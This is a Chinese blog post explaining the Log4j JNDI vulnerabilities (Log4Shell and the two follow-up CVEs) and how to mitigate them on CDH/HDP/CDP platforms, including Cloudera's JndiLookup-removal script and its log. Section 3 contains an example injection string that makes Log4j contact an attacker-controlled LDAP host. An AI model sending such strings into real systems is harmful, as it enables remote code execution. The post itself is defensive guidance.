大家好,我是明哥!
近期 LOG4J 围绕JNDI的安全漏洞频繁暴雷,着实让小伙伴们忙活了一阵。
本文我们就一起来看下,CDH/HDP/CDP 等大数据平台中如何快速应对 LOG4J 的 JNDI 系列漏洞。
- 1 LOG4J 概述
- 2 LOG4J JNDI 系列漏洞概述
- 3 深入了解 LOG4J 与 JNDI
- 4 应对 LOG4J JNDI 系列漏洞的思路
- 5 常见大数据组件如何应对 LOG4J JNDI 系列漏洞
- 6 CDH/HDP/CDP 等大数据平台中如何快速应对LOG4J的 JNDI 系列漏洞
1 LOG4J 概述
Apache Log4j 是一款基于 Java 的开源日志框架,而 Apache Log4j2 在 Log4j 的基础上,参考了另一款日志框架 logback,做了大量改进增加了很多丰富的特性。
在实现上,log4j2 做到了 api seperation, 包括 log4j-core 和 log4j-api, 其中前者是日志框架的具体实现(Logback是日志框架的另一款具体实现),后者则是日志门面/日志抽象 logging facade(Simple Logging Facade for Java (slf4j)是另一款日志门面/日志抽象)。
在性能上,Log4j2 由于使用了 Asynchronous loggers,(应用代码在调用 Logger.log 时,其实是将 I/O 操作的执行交给了另一个 IO 线程,并立即返回了应用线程),在多线程环境下,可以做到 LOG4J1.X 和 logback 18倍的吞吐量,并有着更低的延迟。
在架构上,log4j2 采用了插件机制,所以用户不需要额外编写代码,即可根据自己的情况配置自己的 Appender/Layout/Pattern Converter, log4j2 会自动识别配置文件并使用其中配置的插件。
正式由于以上诸多优点,log4j 成为了 JAVA 生态中应用最广泛的日志框架。
2 LOG4J JNDI 系列漏洞概述
近期暴雷的 JNDI 系列漏洞,包括以下三个:
- CVE-2021-44228:12月9日,由阿里云发现并报告该漏洞,基于该漏洞,攻击者可以构造恶意请求,触发远程代码执行漏洞;Log4j 团队在发现该问题后马上发布了 2.15.0 版本,并给出了临时解决方案;(危险等级:critical)
- CVE-2021-45046:12 月 14 日,由 Twitter 公司发现并报告该漏洞,该漏洞表示 2.15.0 中对 CVE-2021-44228 的修复以及给出的临时解决方案并不完备,在某些配置条件下依然会被利用导致 DOS 攻击;Log4j 团队在发现该问题后,又发布了 2.16.0 版本,同时给出了新的临时解决方案;(危险等级:critical)
- CVE-2021-45105:12 月 18号,发现并确认了该漏洞,该漏洞进一步表示 2.16.0 版本及 CVE-2021-45046 的临时修复方案在某些配置条件下依然有被 DOS 攻击的风险;随后,Log4j 团队马上发布了 2.17.0 版本,并给出了新的临时修复方案;(危险等级:moderate)
以上 JNDI 系列漏洞,LOG4J2 官方团队已经修复,概括起来, 针对危险等级为 critical 的 CVE-2021-44228 和 CVE-2021-45046,解决方式如下:
- Log4j 1.x is not impacted by this vulnerability.
- log4j2: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
- log4j2: in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- log4j2: Users are advised not to enable JNDI in Log4j 2.16.0, since it still allows LDAP connections.
3 深入了解 LOG4J 与 JNDI
以上 JNDI 系列漏洞,其根源都可以追溯到 Log4j 早年间引入的一个 Feature:LOG4J2-313:JNDI Lookup plugin support:2013 年,Log4j 在 2.0-beta9 版本中添加了 “JNDILookup plugin” 功能。
JNDI 其实是 Java 在 1990 年之后引入的一种目录服务,是 J2EE 的重要组成部分,让 Java 程序可以以 Java 对象的形式通过目录查找数据。JNDI 提供了多种 SPI 支持不同的目录服务,如 CORBA COS (公共对象服务)、Java RMI (远程方法接口) Registry 和 LDAP (轻量级目录访问协议)。
根据 JNDI 官方帮助文档描述 “如果您的 LDAP 服务器位于另一台机器上或正在使用另一个端口,那么您需要编辑 LDAP URL”,LDAP 服务器可以在不同的机器上运行,也可以在 Internet 上的任何地方运行。这种灵活性意味着如果攻击者能够控制 LDAP URL,他们就能够让 Java 程序从他们控制的服务器加载对象。
在 Log4j 包含漏洞的版本中,攻击者可以通过传入类似 “${jndi:ldap://http://example.com/a}” 形式的字符串来控制 Log4j 访问的 LDAP URL。在这种情况下,Log4j 将连接到 http://example.com 上的 LDAP 服务器并检索对象。
更多关于 JNDI 的细节,我们这里不再赘述,有兴趣的可以自己做下功课,不过以下要点,跟大家概括下:
- JNDI 是 J2EE 的重要组成部分,是上个世纪90年代陆续引入的,在 JBoss,WebLogic,WebSphere 等应用容器有大量应用;
- 在单体架构式微,而微服务架构日益流行的今天,大家普遍采用 Spring boot/spring cloud 技术栈,已经不怎么使用 JNDI 了;(特别是互联网企业和中小企业,很多同学可能都没怎么了解过 JNDI);
- LOG4J 通过 LOG4J2-313 引入的特性 “JNDI Lookup plugin support”,更多是迎合采用了单体架构,使用了 JBoss,WebLogic,WebSphere 等应用容器的大客户大企业;
- 在微服务架构中使用LOG4J,绝大部分用户都使用不到其 “JNDI Lookup plugin support” 功能;
- 在使用了 LOG4J 的大数据组件中,更是使用不到其“JNDI Lookup plugin support” 功能;
4 应对 LOG4J JNDI 系列漏洞的思路
从根本上讲,应对LOG4J JNDI 系列漏洞的思路,正如其官方文档所述,有以下几种:
- Log4j 1.x:该系列版本不受影响,因为还没有引入上述 LOG4J2-313:JNDI Lookup plugin support;
- log4j2: 正式的解决方案,是升级版本:分别是升级到 Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later);
- log4j2: 作为临时解决方案,可以删除类加载路径上的危险类 JndiLookup.class: 除了 2.16.0 外的其它版本,都可以临时采取这种方案;(本质是因为我们其实没有使用到 LOG4J 的“JNDI Lookup plugin support” 功能);
- log4j2: 不启用 JNDI 功能: 针对 2.16.0 版本,用户也可以配置不启用 JNDI 功能,从而避免建立 LDAP连接的潜在可能和风险;(2.16.0 提供了配置项,可以开启或关闭 JNDI功能,所以不用删除类加载路径上的危险类 JndiLookup.class);
所以:
- 如果大家的应用代码,直接依赖了LOG4J,就可以灵活 采取上述适合自己的方案,最推荐的当然是升级 LOG4J版本;
- 如果大家的应用代码,是通过某个依赖组件间接引入了对 LOG4J的依赖,则可以采用临时解决方案,即删除类加载路径上的危险类 JndiLookup.class;或者,等待该依赖组件官方发布了正式修复版本后,进行升级。
5 常见大数据组件如何应对 LOG4J JNDI 系列漏洞
- spark: spark 的最新版本是3.2.0,目前其依赖的还是log4j1.2.17,即log4j1.x系列,所以不受上述漏洞影响;
- flink:flink 各版本使用的 log4j 的版本如下,可以看到,flink1.11 及以后版本受到上述漏洞影响;
- 所以针对 flink 组件,正式的修复方案是升级flink,目前 flink 社区已经发布了针对 1.11/1.12/1.13/1.14 系列的修复版本,大家可以根据自己的情况,升级到同系列下最新版本即可修复该问题:
- 得益于 flink 社区快速即使的响应和修复,大家不需要采用各种临时修复方案了(主要思路是删除 log4j-core 里的 JndiLooup.class 删除,以达到禁用 JNDI 的效果)
6 CDH/HDP/CDP 等大数据平台中如何快速应对LOG4J的 JNDI 系列漏洞
由于 CDH/HDP/CDP 等大数据平台中,背后的大数据组件众多,并不是每一个组件背后的社区都能快速响应,修复上述 LOG4J JNDI 系列漏洞并提供正式的修复版本,所以 CDH/HDP/CDP 等大数据平台中,快速应对LOG4J的JNDI系列漏洞,采用的思路,就是使用上述临时解决方案,即删除类加载路径上的危险类 JndiLookup.class(本质是因为,这些大数据组件底层,都没有使用到 LOG4J 的“JNDI Lookup plugin support” 功能)。
同时,为进一步简化临时解决方案的实施难度,Cloudera 在 GitHub 上提供了系列脚本,来辅助删除 CDH/HDP/CDP 等大数据平台上的危险类 JndiLookup.class。
大家可以去 GITHUB 自行下载,GITHUB 下载链接如下: https://github.com/cloudera/cloudera-scripts-for-log4j.git
- CDH6.3集群中,使用上述官方辅助脚本修复命令如下:sh run_log4j_patcher.sh cdh;
- 成功执行的输出日志如下:
~~~java Using tmp directory '/tmp' Removing JNDI from jar files Running on '/opt/cloudera' Backing up files to '/opt/cloudera/log4shell-backup' Backing up to '/opt/cloudera/log4shell-backup//opt/cloudera/cm/common_jars/log4j-core-2.8.2.f3f743bada8d698e2d116e5c9951fe2f.jar.backup' Deleting JndiLookup.class from '/opt/cloudera/cm/common_jars/log4j-core-2.8.2.f3f743bada8d698e2d116e5c9951fe2f.jar' Backing up to '/opt/cloudera/log4shell-backup//opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/jars/hive-jdbc-2.1.1-cdh6.3.2-standalone.jar.backup' Deleting JndiLookup.class from '/opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/jars/hive-jdbc-2.1.1-cdh6.3.2-standalone.jar' Backing up to '/opt/cloudera/log4shell-backup//opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/jars/log4j-core-2.8.2.jar.backup' Deleting JndiLookup.class from '/opt/cloudera/parcels/CDH-6.3.2-1.cdh6.3.2.p0.1605554/jars/log4j-core-2.8.2.jar' Completed removing JNDI from jar files Completed removing JNDI from nar files Removing JNDI from tar.gz files Found an HDFS namenode on this host, removing JNDI from HDFS tar.gz files for platform='common' Keytab file is not found or is empty: /var/run/cloudera-scm-agent/process/9152-hdfs-DATANODE/hdfs.keytab. Considering this as a non-secure cluster deployment. Tar ball is not available in /user/tez/*. tez is not installed. Keytab file is not found or is empty: /var/run/cloudera-scm-agent/process/9152-hdfs-DATANODE/hdfs.keytab. Considering this as a non-secure cluster deployment. Current Time : 2022.01.24-23.33.18 Downloading tar ball from HDFS path /user/yarn/mapreduce/mr-framework/3.0.0-cdh6.3.2-mr-framework.tar.gz to /tmp/hdfs_tar_files.2022.01.24-23.33.18 Printing current HDFS file stats -rw-r--r-- 3 yarn hadoop 235045975 2021-02-09 15:31 /user/yarn/mapreduce/mr-framework/3.0.0-cdh6.3.2-mr-framework.tar.gz Taking a backup of HDFS dir /user/yarn/mapreduce/mr-framework/3.0.0-cdh6.3.2-mr-framework.tar.gz to /tmp/backup.2022.01.24-23.33.18 Executing the log4j removal script Backing up to '/opt/cloudera/log4shell-backup//tmp/hdfs_tar_files.2022.01.24-23.33.18/3.0.0-cdh6.3.2-mr-framework.tar.gz.backup' Patching '/tmp/hdfs_tar_files.2022.01.24-23.33.18/3.0.0-cdh6.3.2-mr-framework.tar.gz' Running on '/tmp/tmp.XB811BHfKo' Backing up files to '/tmp/tmp.tCez5BoRHm' Backing up to '/tmp/tmp.tCez5BoRHm//tmp/tmp.XB811BHfKo/log4j-core-2.8.2.jar.backup' Deleting JndiLookup.class from '/tmp/tmp.XB811BHfKo/log4j-core-2.8.2.jar' Completed removing JNDI from jar files Completed removing JNDI from nar files Recompressing Completed removing JNDI from /tmp/hdfs_tar_files.2022.01.24-23.33.18/3.0.0-cdh6.3.2-mr-framework.tar.gz Completed executing log4j removal script and uploading 3.0.0-cdh6.3.2-mr-framework.tar.gz to /user/yarn/mapreduce/mr-framework/3.0.0-cdh6.3.2-mr-framework.tar.gz Printing updated HDFS file stats -rw-r--r-- 3 yarn hadoop 210849603 2022-01-24 23:33 /user/yarn/mapreduce/mr-framework/3.0.0-cdh6.3.2-mr-framework.tar.gz ~~~